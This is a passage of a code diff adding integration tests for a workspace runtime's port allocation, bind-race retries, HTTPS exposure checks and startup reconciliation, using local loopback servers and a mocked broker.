+      async reserve(_runtimeId: string, listeners: Array<{ purpose: "app" | "vite_hmr"; port: number }>) {
+        reservedListeners = listeners.map((listener) => ({ ...listener }));
+        return {
+          handle: "managed-listener-handle-1234",
+          reservedPorts: listeners.map((listener) => listener.port),
+        };
+      },
+      async expose(_runtimeId: string, handle: string) {
+        exposeCalls += 1;
+        const owners = await Promise.all(
+          reservedListeners.map((listener) => readLocalServicePortOwner(listener.port)),
+        );
+        if (owners.some((owner) => owner === null)) {
+          throw new Error("listener_ownership_mismatch");
+        }
+        return {
+          handle,
+          publicPorts: reservedListeners.map((listener) => listener.port),
+        };
+      },
+      async remove() {
+        return { removedPorts: reservedListeners.map((listener) => listener.port) };
+      },
+      async list() {
+        return [];
+      },
+    };
+    setWorkspaceRuntimeExposureDepsForTests({
+      broker,
+      isPortAvailable: isLoopbackPortFree,
+      isBrokerAvailable: async () => true,
+      resolveHostname: async () => "runner.tail123.ts.net",
+      probeHealth: async () => true,
+      now: () => new Date().toISOString(),
+    });
+
+    try {
+      const started = (await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config: httpsRuntimeConfig(command),
+        adapterEnv: {},
+      }))[0]!;
+
+      expect(exposeCalls).toBe(1);
+      expect(reservedListeners.map((listener) => listener.port)).toEqual([
+        started.port,
+        deriveViteHmrPort(started.port!),
+      ]);
+      expect(started).toMatchObject({
+        status: "running",
+        healthStatus: "healthy",
+        url: `https://runner.tail123.ts.net:${started.port}`,
+        exposure: { state: "ready" },
+      });
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      await resetRuntimeServicesForTests({ terminateProcesses: true });
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 15_000);
+
+  it("rejects a foreign listener that races onto a reserved HTTPS companion port", async () => {
+    const fixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const appOnlyScript = [
+      "const http=require('node:http');",
+      "http.createServer((_req,res)=>res.end('ok')).listen(Number(process.env.PORT),'127.0.0.1');",
+      "setInterval(()=>{},1000);",
+    ].join("");
+    const command = `${JSON.stringify(process.execPath)} -e ${JSON.stringify(appOnlyScript)}`;
+    let foreignHmr: net.Server | null = null;
+    let exposeCalls = 0;
+    let reservedPorts: number[] = [];
+    const broker = {
+      async reserve(_runtimeId: string, listeners: Array<{ purpose: "app" | "vite_hmr"; port: number }>) {
+        reservedPorts = listeners.map((listener) => listener.port);
+        const hmrPort = listeners.find((listener) => listener.purpose === "vite_hmr")!.port;
+        foreignHmr = net.createServer((socket) => socket.destroy());
+        await new Promise<void>((resolve, reject) => {
+          foreignHmr!.once("error", reject);
+          foreignHmr!.listen(hmrPort, "127.0.0.1", resolve);
+        });
+        return { handle: "foreign-listener-handle-1234", reservedPorts };
+      },
+      async expose(_runtimeId: string, handle: string) {
+        exposeCalls += 1;
+        return { handle, publicPorts: reservedPorts };
+      },
+      async remove() {
+        return { removedPorts: reservedPorts };
+      },
+      async list() {
+        return [];
+      },
+    };
+    setWorkspaceRuntimeExposureDepsForTests({
+      broker,
+      isPortAvailable: isLoopbackPortFree,
+      isBrokerAvailable: async () => true,
+      resolveHostname: async () => "runner.tail123.ts.net",
+      probeHealth: async () => true,
+      now: () => new Date().toISOString(),
+    });
+
+    try {
+      await expect(startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config: httpsRuntimeConfig(command),
+        adapterEnv: {},
+      })).rejects.toThrow(/could not bind allocated port/);
+      expect(exposeCalls).toBe(0);
+    } finally {
+      if (foreignHmr) {
+        await new Promise<void>((resolve) => foreignHmr!.close(() => resolve()));
+      }
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      await resetRuntimeServicesForTests({ terminateProcesses: true });
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 15_000);
+
+  it("allocates distinct persisted ports for concurrent isolated siblings without stopping either service", async () => {
+    const fixture = await createRuntimeFixture({
+      workspaceModes: ["isolated_workspace", "isolated_workspace"],
+    });
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const basePort = await findFreePort();
+    const config = fixedPortRuntimeConfig(basePort);
+    const startedWorkspaceIds: string[] = [];
+
+    try {
+      const [first, second] = await Promise.all(fixture.workspaces.map(async (workspace) => {
+        const result = await startRuntimeServicesForWorkspaceControl({
+          db,
+          actor: fixture.actor,
+          issue: null,
+          workspace: fixture.realizedWorkspace(workspace),
+          executionWorkspaceId: workspace.id,
+          config,
+          adapterEnv: {},
+        });
+        startedWorkspaceIds.push(workspace.id);
+        return result[0]!;
+      }));
+
+      // The two lanes claim ports concurrently in-process. The allocator guarantees
+      // distinct ports, but not which lane wins the base port. It depends on the
+      // scheduling order. So assert order-independent invariants, not array index.
+      const lowerPort = Math.min(first.port!, second.port!);
+      const upperPort = Math.max(first.port!, second.port!);
+      const maxAllocatablePort = basePort + WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS - 1;
+      expect(first.port).not.toBe(second.port);
+      expect(lowerPort).toBe(basePort);
+      expect(upperPort).toBeGreaterThan(basePort);
+      expect(upperPort).toBeLessThanOrEqual(maxAllocatablePort);
+      expect(first.url).toBe(`http://127.0.0.1:${first.port}`);
+      expect(second.url).toBe(`http://127.0.0.1:${second.port}`);
+      await expect(fetch(first.url!)).resolves.toMatchObject({ ok: true });
+      await expect(fetch(second.url!)).resolves.toMatchObject({ ok: true });
+
+      const persisted = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.companyId, fixture.companyId));
+      expect(persisted).toEqual(expect.arrayContaining([
+        expect.objectContaining({
+          executionWorkspaceId: fixture.workspaces[0]!.id,
+          port: first.port,
+          url: first.url,
+          status: "running",
+        }),
+        expect.objectContaining({
+          executionWorkspaceId: fixture.workspaces[1]!.id,
+          port: second.port,
+          url: second.url,
+          status: "running",
+        }),
+      ]));
+    } finally {
+      await Promise.all(startedWorkspaceIds.map(async (executionWorkspaceId) => {
+        const workspace = fixture.workspaces.find((entry) => entry.id === executionWorkspaceId)!;
+        await stopRuntimeServicesForExecutionWorkspace({
+          db,
+          executionWorkspaceId,
+          workspaceCwd: workspace.cwd,
+        }).catch(() => undefined);
+      }));
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 20_000);
+
+  it("commits fixed-port reservations before readiness windows longer than 60 seconds", async () => {
+    const fixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const basePort = await findFreePort();
+    const spawnedMarkerPath = path.join(workspace.cwd, "slow-readiness-spawned.marker");
+    const releaseMarkerPath = path.join(workspace.cwd, "slow-readiness-release.marker");
+    const serverScript = [
+      "const fs=require('node:fs');",
+      "const http=require('node:http');",
+      `const spawned=${JSON.stringify(spawnedMarkerPath)};`,
+      `const release=${JSON.stringify(releaseMarkerPath)};`,
+      "fs.writeFileSync(spawned,'spawned');",
+      "const timer=setInterval(()=>{",
+      "if(!fs.existsSync(release))return;",
+      "clearInterval(timer);",
+      "http.createServer((_req,res)=>res.end('ok')).listen(Number(process.env.PORT),'127.0.0.1');",
+      "},25);",
+      "setInterval(()=>{},1000);",
+    ].join("");
+    const command = `${JSON.stringify(process.execPath)} -e ${JSON.stringify(serverScript)}`;
+    const config = fixedPortRuntimeConfig(basePort, command);
+    config.workspaceRuntime.services[0]!.readiness.timeoutSec = 70;
+    let startPromise: ReturnType<typeof startRuntimeServicesForWorkspaceControl> | null = null;
+
+    try {
+      startPromise = startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config,
+        adapterEnv: {},
+      });
+      startPromise.catch(() => undefined);
+
+      const markerDeadline = Date.now() + 5_000;
+      while (!existsSync(spawnedMarkerPath) && Date.now() < markerDeadline) {
+        await new Promise((resolve) => setTimeout(resolve, 25));
+      }
+      expect(existsSync(spawnedMarkerPath)).toBe(true);
+
+      const parentWrite = (async () => await db
+        .update(executionWorkspaces)
+        .set({ updatedAt: new Date() })
+        .where(eq(executionWorkspaces.id, workspace.id)))();
+      const parentWriteOutcome = await Promise.race([
+        parentWrite.then(() => "committed" as const),
+        new Promise<"locked">((resolve) => setTimeout(() => resolve("locked"), 2_000)),
+      ]);
+
+      const readinessWaitStartedAt = Date.now();
+      await new Promise((resolve) => setTimeout(resolve, 60_250));
+      expect(Date.now() - readinessWaitStartedAt).toBeGreaterThanOrEqual(60_000);
+
+      await fs.writeFile(releaseMarkerPath, "release");
+      const started = (await startPromise)[0]!;
+      await parentWrite;
+
+      expect(parentWriteOutcome).toBe("committed");
+      expect(started).toMatchObject({
+        port: basePort,
+        url: `http://127.0.0.1:${basePort}`,
+        status: "running",
+        healthStatus: "healthy",
+      });
+      const persisted = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.executionWorkspaceId, workspace.id))
+        .then((rows) => rows[0] ?? null);
+      expect(persisted).toMatchObject({
+        port: basePort,
+        url: `http://127.0.0.1:${basePort}`,
+        status: "running",
+      });
+    } finally {
+      await fs.writeFile(releaseMarkerPath, "release").catch(() => undefined);
+      await startPromise?.catch(() => undefined);
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 80_000);
+
+  it("reuses a stopped isolated workspace's actual port when it is free", async () => {
+    const fixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const config = fixedPortRuntimeConfig(await findFreePort());
+
+    try {
+      const first = (await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config,
+        adapterEnv: {},
+      }))[0]!;
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      });
+
+      const restarted = (await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config,
+        adapterEnv: {},
+      }))[0]!;
+
+      expect(restarted.id).toBe(first.id);
+      expect(restarted.port).toBe(first.port);
+      expect(restarted.url).toBe(first.url);
+      await expect(fetch(restarted.url!)).resolves.toMatchObject({ ok: true });
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 20_000);
+
+  it("retries a bind race on the next bounded port and persists the selected URL", async () => {
+    const fixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const basePort = await findFreePort();
+    const markerPath = path.join(workspace.cwd, "bind-race.marker");
+    const blockerPidPath = path.join(workspace.cwd, "bind-race.pid");
+    const blockerScript = [
+      "const net=require('node:net');",
+      "const port=Number(process.argv[1]);",
+      "net.createServer((socket)=>socket.destroy()).listen(port,'127.0.0.1');",
+    ].join("");
+    const raceScript = [
+      "const fs=require('node:fs');",
+      "const http=require('node:http');",
+      "const {spawn}=require('node:child_process');",
+      `const marker=${JSON.stringify(markerPath)};`,
+      `const pidFile=${JSON.stringify(blockerPidPath)};`,
+      `const blockerScript=${JSON.stringify(blockerScript)};`,
+      "const port=Number(process.env.PORT);",
+      "const start=()=>http.createServer((_req,res)=>res.end('ok')).listen(port,'127.0.0.1');",
+      "if(!fs.existsSync(marker)){",
+      "fs.writeFileSync(marker,String(port));",
+      "const blocker=spawn(process.execPath,['-e',blockerScript,String(port)],{detached:true,stdio:'ignore'});",
+      "fs.writeFileSync(pidFile,String(blocker.pid));blocker.unref();setTimeout(start,200);",
+      "}else{start();}",
+      "setInterval(()=>{},1000);",
+    ].join("");
+    const command = `${JSON.stringify(process.execPath)} -e ${JSON.stringify(raceScript)}`;
+
+    try {
+      const started = (await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config: fixedPortRuntimeConfig(basePort, command),
+        adapterEnv: {},
+      }))[0]!;
+
+      expect(await fs.readFile(markerPath, "utf8")).toBe(String(basePort));
+      expect(started.port).toBeGreaterThan(basePort);
+      expect(started.url).toBe(`http://127.0.0.1:${started.port}`);
+      await expect(fetch(started.url!)).resolves.toMatchObject({ ok: true });
+      const persisted = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.executionWorkspaceId, workspace.id))
+        .then((rows) => rows[0] ?? null);
+      expect(persisted).toMatchObject({ port: started.port, url: started.url, status: "running" });
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      const blockerPid = Number.parseInt(await fs.readFile(blockerPidPath, "utf8").catch(() => ""), 10);
+      if (Number.isInteger(blockerPid) && blockerPid > 0) {
+        try {
+          process.kill(blockerPid, "SIGTERM");
+        } catch {
+          // The bind-race process already exited.
+        }
+      }
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 20_000);
+
+  it("does not accept an occupied allocated port when listener ownership is unavailable", async () => {
+    const fixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const basePort = await findFreePort();
+    const fakeBin = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-no-lsof-"));
+    const fakeLsof = path.join(fakeBin, "lsof");
+    const previousPath = process.env.PATH;
+    await fs.writeFile(fakeLsof, "#!/bin/sh\nexit 1\n", { mode: 0o755 });
+    process.env.PATH = `${fakeBin}${path.delimiter}${previousPath ?? ""}`;
+
+    try {
+      await expect(startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(workspace),
+        executionWorkspaceId: workspace.id,
+        config: fixedPortRuntimeConfig(basePort),
+        adapterEnv: {},
+      })).rejects.toMatchObject({
+        status: 409,
+        details: {
+          code: "workspace_runtime_port_allocation_exhausted",
+          port: basePort,
+          attemptedPortCount: WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS,
+        },
+      });
+    } finally {
+      if (previousPath === undefined) delete process.env.PATH;
+      else process.env.PATH = previousPath;
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      await fs.rm(fakeBin, { recursive: true, force: true });
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 20_000);
+
+  it("returns a bounded structured conflict and exposes only same-company workspace references", async () => {
+    const fixture = await createRuntimeFixture({
+      workspaceModes: ["isolated_workspace", "isolated_workspace"],
+    });
+    const otherCompanyFixture = await createRuntimeFixture();
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const reservation = await reserveContiguousPorts(WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS);
+    const [baseReservation, ...otherReservations] = reservation.servers;
+    await closeNetServer(baseReservation!);
+    const firstWorkspace = fixture.workspaces[0]!;
+    const secondWorkspace = fixture.workspaces[1]!;
+    const otherCompanyWorkspace = otherCompanyFixture.workspaces[0]!;
+    const config = fixedPortRuntimeConfig(reservation.basePort);
+
+    try {
+      const first = (await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: fixture.actor,
+        issue: null,
+        workspace: fixture.realizedWorkspace(firstWorkspace),
+        executionWorkspaceId: firstWorkspace.id,
+        config,
+        adapterEnv: {},
+      }))[0]!;
+      expect(first.port).toBe(reservation.basePort);
+
+      let sameCompanyError: unknown;
+      try {
+        await startRuntimeServicesForWorkspaceControl({
+          db,
+          actor: fixture.actor,
+          issue: null,
+          workspace: fixture.realizedWorkspace(secondWorkspace),
+          executionWorkspaceId: secondWorkspace.id,
+          config,
+          adapterEnv: {},
+        });
+      } catch (error) {
+        sameCompanyError = error;
+      }
+      expect(sameCompanyError).toMatchObject({
+        status: 409,
+        details: {
+          code: "workspace_runtime_port_allocation_exhausted",
+          port: reservation.basePort,
+          attemptedPortCount: WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS,
+          conflictingExecutionWorkspaceId: firstWorkspace.id,
+          remediation: expect.any(String),
+        },
+      });
+      expect(JSON.stringify(sameCompanyError)).not.toMatch(/(?:pid|cwd)/i);
+
+      let otherCompanyError: unknown;
+      try {
+        await startRuntimeServicesForWorkspaceControl({
+          db,
+          actor: otherCompanyFixture.actor,
+          issue: null,
+          workspace: otherCompanyFixture.realizedWorkspace(otherCompanyWorkspace),
+          executionWorkspaceId: otherCompanyWorkspace.id,
+          config,
+          adapterEnv: {},
+        });
+      } catch (error) {
+        otherCompanyError = error;
+      }
+      expect(otherCompanyError).toMatchObject({
+        status: 409,
+        details: {
+          code: "workspace_runtime_port_allocation_exhausted",
+          port: reservation.basePort,
+          attemptedPortCount: WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS,
+        },
+      });
+      expect(otherCompanyError).not.toMatchObject({
+        details: {
+          conflictingExecutionWorkspaceId: firstWorkspace.id,
+        },
+      });
+      expect(JSON.stringify(otherCompanyError)).not.toContain(firstWorkspace.id);
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: firstWorkspace.id,
+        workspaceCwd: firstWorkspace.cwd,
+      }).catch(() => undefined);
+      await Promise.all(otherReservations.map((server) => closeNetServer(server).catch(() => undefined)));
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+      await otherCompanyFixture.cleanup();
+    }
+  }, 30_000);
+
+  it("keeps fixed ports strict for shared persisted workspaces and identity-less starts", async () => {
+    const fixture = await createRuntimeFixture({ workspaceModes: ["shared_workspace"] });
+    const cleanupRuntimeHome = await createRuntimeHome();
+    const workspace = fixture.workspaces[0]!;
+    const occupiedPort = await findFreePort();
+    const occupant = await listenOnPort(occupiedPort);
+    const config = fixedPortRuntimeConfig(occupiedPort);
+
+    try {
+      let sharedWorkspaceError: unknown;
+      try {
+        await startRuntimeServicesForWorkspaceControl({
+          db,
+          actor: fixture.actor,
+          issue: null,
+          workspace: fixture.realizedWorkspace(workspace),
+          executionWorkspaceId: workspace.id,
+          config,
+          adapterEnv: {},
+        });
+      } catch (error) {
+        sharedWorkspaceError = error;
+      }
+      expect(sharedWorkspaceError).toBeInstanceOf(Error);
+      expect(sharedWorkspaceError).not.toMatchObject({ status: 409 });
+
+      const identitylessCwd = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-identityless-"));
+      try {
+        await expect(startRuntimeServicesForWorkspaceControl({
+          actor: { id: null, name: "Board", companyId: fixture.companyId },
+          issue: null,
+          workspace: buildWorkspace(identitylessCwd),
+          config,
+          adapterEnv: {},
+        })).rejects.toBeInstanceOf(Error);
+      } finally {
+        await fs.rm(identitylessCwd, { recursive: true, force: true });
+      }
+
+      const rows = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.executionWorkspaceId, workspace.id));
+      expect(rows.every((row) => row.port === occupiedPort)).toBe(true);
+    } finally {
+      await closeNetServer(occupant);
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId: workspace.id,
+        workspaceCwd: workspace.cwd,
+      }).catch(() => undefined);
+      await cleanupRuntimeHome();
+      await fixture.cleanup();
+    }
+  }, 20_000);
 });
 
 describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
@@ -5636,16 +7283,426 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
   });
 
   afterEach(async () => {
+    // Startup reconciliation starts real child processes and registers them.
+    // Terminate them and persist their stopped rows before the row deletes
+    // below. A left-over child exits later and its detached exit handler then
+    // writes a workspace_runtime_services row that references the deleted
+    // project, which raises an unhandled foreign-key error in the next test.
+    await resetRuntimeServicesForTests({ terminateProcesses: true });
+    // Startup reconciliation writes activity_log rows (for example, exposure
+    // reservation drift). Delete those rows before the company delete. A stale
+    // activity_log row holds a foreign key to the company and makes the company
+    // delete fail, which leaks rows into the next test.
+    await db.delete(activityLog);
     await db.delete(workspaceRuntimeServices);
     await db.delete(executionWorkspaces);
     await db.delete(projectWorkspaces);
     await db.delete(projects);
     await db.delete(heartbeatRuns);
+    // The runtime service control path writes activity_log rows through
+    // logActivity. Those rows reference the company. Delete them before the
+    // company to respect the activity_log.company_id foreign key.
+    await db.delete(activityLog);
     await db.delete(agents);
     await db.delete(companies);
   });
 
-  it("adopts a live auto-port shared service after runtime state is reset", async () => {
+  it("restores desired services when one row is stopped and a live registered service has no row", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-desired-reconcile-"));
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `runtime-desired-reconcile-${randomUUID()}`;
+
+    const reservePort = async () => {
+      const probe = net.createServer();
+      await new Promise<void>((resolve) => probe.listen(0, "127.0.0.1", resolve));
+      const address = probe.address();
+      const port = typeof address === "object" && address ? address.port : null;
+      await new Promise<void>((resolve, reject) => {
+        probe.close((error) => error ? reject(error) : resolve());
+      });
+      if (!port) throw new Error("Failed to reserve runtime reconciliation test port");
+      return port;
+    };
+    const isLoopbackPortFree = async (port: number) => {
+      const probe = net.createServer();
+      return await new Promise<boolean>((resolve) => {
+        probe.once("error", () => resolve(false));
+        probe.listen(port, "127.0.0.1", () => {
+          probe.close(() => resolve(true));
+        });
+      });
+    };
+    // The stopped service must fully release its port before reconciliation.
+    // A lingering process on the port lets `reconcilePersistedRuntimeServicesOnStartup`
+    // adopt it (reconciled/adopted) instead of the desired-state restart (restarted).
+    const waitForLoopbackPortFree = async (port: number) => {
+      for (let attempt = 0; attempt < 100; attempt += 1) {
+        if (await isLoopbackPortFree(port)) return;
+        await new Promise((resolve) => setTimeout(resolve, 50));
+      }
+      throw new Error(`Port ${port} did not become free in time`);
+    };
+    const stoppedPort = await reservePort();
+    const livePort = await reservePort();
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    const command =
+      "node -e \"require('node:http').createServer((req,res)=>res.end(process.env.PORT)).listen(Number(process.env.PORT), '127.0.0.1')\"";
+    const workspaceRuntime = {
+      services: [
+        {
+          name: "persisted-service",
+          command,
+          port: stoppedPort,
+          expose: { urlTemplate: "http://127.0.0.1:{{port}}" },
+          readiness: { type: "http", urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 10, intervalMs: 50 },
+          lifecycle: "shared",
+          reuseScope: "execution_workspace",
+          stopPolicy: { type: "manual" },
+        },
+        {
+          name: "registry-only-service",
+          command,
+          port: livePort,
+          expose: { urlTemplate: "http://127.0.0.1:{{port}}" },
+          readiness: { type: "http", urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 10, intervalMs: 50 },
+          lifecycle: "shared",
+          reuseScope: "execution_workspace",
+          stopPolicy: { type: "manual" },
+        },
+      ],
+    };
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Runtime desired reconciliation",
+      status: "in_progress",
+    });
+    await db.insert(projectWorkspaces).values({
+      id: projectWorkspaceId,
+      companyId,
+      projectId,
+      name: "Primary",
+      sourceType: "local_path",
+      cwd: workspaceRoot,
+      isPrimary: true,
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      projectWorkspaceId,
+      mode: "isolated_workspace",
+      strategyType: "git_worktree",
+      name: "Runtime desired reconciliation workspace",
+      status: "active",
+      cwd: workspaceRoot,
+      providerType: "local_fs",
+      providerRef: workspaceRoot,
+      metadata: {
+        config: {
+          workspaceRuntime,
+          desiredState: "running",
+          serviceStates: { "0": "running", "1": "running" },
+        },
+      },
+    });
+
+    const actor = { id: null, name: "Paperclip", companyId };
+    const workspace = {
+      ...buildWorkspace(workspaceRoot),
+      projectId,
+      workspaceId: projectWorkspaceId,
+    };
+    let stoppedServiceId: string | null = null;
+    let registryOnlyServiceId: string | null = null;
+
+    try {
+      const persisted = await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor,
+        issue: null,
+        workspace,
+        executionWorkspaceId,
+        config: { workspaceRuntime },
+        adapterEnv: {},
+        serviceIndex: 0,
+      });
+      stoppedServiceId = persisted[0]?.id ?? null;
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId,
+        workspaceCwd: workspaceRoot,
+        runtimeServiceId: stoppedServiceId,
+      });
+      // Wait for the stopped subprocess to release its port. Otherwise the
+      // reconcile below can adopt the lingering process instead of restarting it.
+      await waitForLoopbackPortFree(stoppedPort);
+
+      const registryOnly = await startRuntimeServicesForWorkspaceControl({
+        actor,
+        issue: null,
+        workspace,
+        executionWorkspaceId,
+        config: { workspaceRuntime },
+        adapterEnv: {},
+        serviceIndex: 1,
+      });
+      registryOnlyServiceId = registryOnly[0]?.id ?? null;
+      expect(registryOnlyServiceId).toBeTruthy();
+      expect(await db.select().from(workspaceRuntimeServices)).toHaveLength(1);
+
+      await resetRuntimeServicesForTests();
+      const result = await reconcilePersistedRuntimeServicesOnStartup(db);
+
+      expect(result).toMatchObject({ reconciled: 0, adopted: 0, stopped: 0, restarted: 1, restartFailed: 0 });
+      const rows = await db.select().from(workspaceRuntimeServices);
+      expect(rows).toHaveLength(2);
+      expect(rows).toEqual(expect.arrayContaining([
+        expect.objectContaining({ id: stoppedServiceId, port: stoppedPort, status: "running" }),
+        expect.objectContaining({ id: registryOnlyServiceId, port: livePort, status: "running" }),
+      ]));
+      await expect(fetch(`http://127.0.0.1:${stoppedPort}`)).resolves.toMatchObject({ ok: true });
+      await expect(fetch(`http://127.0.0.1:${livePort}`)).resolves.toMatchObject({ ok: true });
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId,
+        workspaceCwd: workspaceRoot,
+      });
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+    }
+  }, 20_000);
+
+  it("backfills a pre-existing HTTP-only managed worktree runtime to verified HTTPS in place", async () => {
+    // PAP-17158: an eligible workspace created before the feature must come
+    // forward on the *same* workspace/runtime-service row — not by recreating it
+    // — and must never keep its HTTP URL as a healthy fallback.
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-https-backfill-"));
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
+    const previousPaperclipHome = process.env.PAPERCLIP_HOME;
+    const previousPaperclipInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+    const previousHttpsMode = process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `runtime-https-backfill-${randomUUID()}`;
+
+    const reservePort = async () => {
+      for (let attempt = 0; attempt < 100; attempt += 1) {
+        const probe = net.createServer();
+        await new Promise<void>((resolve) => probe.listen(0, "127.0.0.1", resolve));
+        const address = probe.address();
+        const port = typeof address === "object" && address ? address.port : null;
+        await new Promise<void>((resolve, reject) => {
+          probe.close((error) => error ? reject(error) : resolve());
+        });
+        if (port && port <= 55_535 && (port < 42_000 || port > 42_999)) return port;
+      }
+      throw new Error("Failed to reserve an HTTPS backfill test port outside the broker range");
+    };
+    const isLoopbackPortFree = async (port: number) => {
+      const probe = net.createServer();
+      return await new Promise<boolean>((resolve) => {
+        probe.once("error", () => resolve(false));
+        probe.listen(port, "127.0.0.1", () => {
+          probe.close(() => resolve(true));
+        });
+      });
+    };
+
+    // Stands in for the persisted template's hard-coded 45439: a pinned port
+    // outside the broker's dedicated allowlist, so the backfill has to relocate.
+    const legacyPort = await reservePort();
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    // Binds the app port and its HMR companion, both loopback-only.
+    const command =
+      "node -e \"const http=require('node:http');const p=Number(process.env.PORT);for(const q of [p,p+10000])http.createServer((req,res)=>{if(req.url==='/api/health'){res.setHeader('content-type','application/json');res.end(JSON.stringify({status:'ok'}));return;}res.end('ok')}).listen(q,'127.0.0.1');setInterval(()=>{},1000)\"";
+    const workspaceRuntime = {
+      services: [
+        {
+          name: "paperclip-dev",
+          command,
+          port: legacyPort,
+          // The pre-feature block: backend URL only, no exposure declaration.
+          expose: { type: "url", urlTemplate: "http://127.0.0.1:{{port}}" },
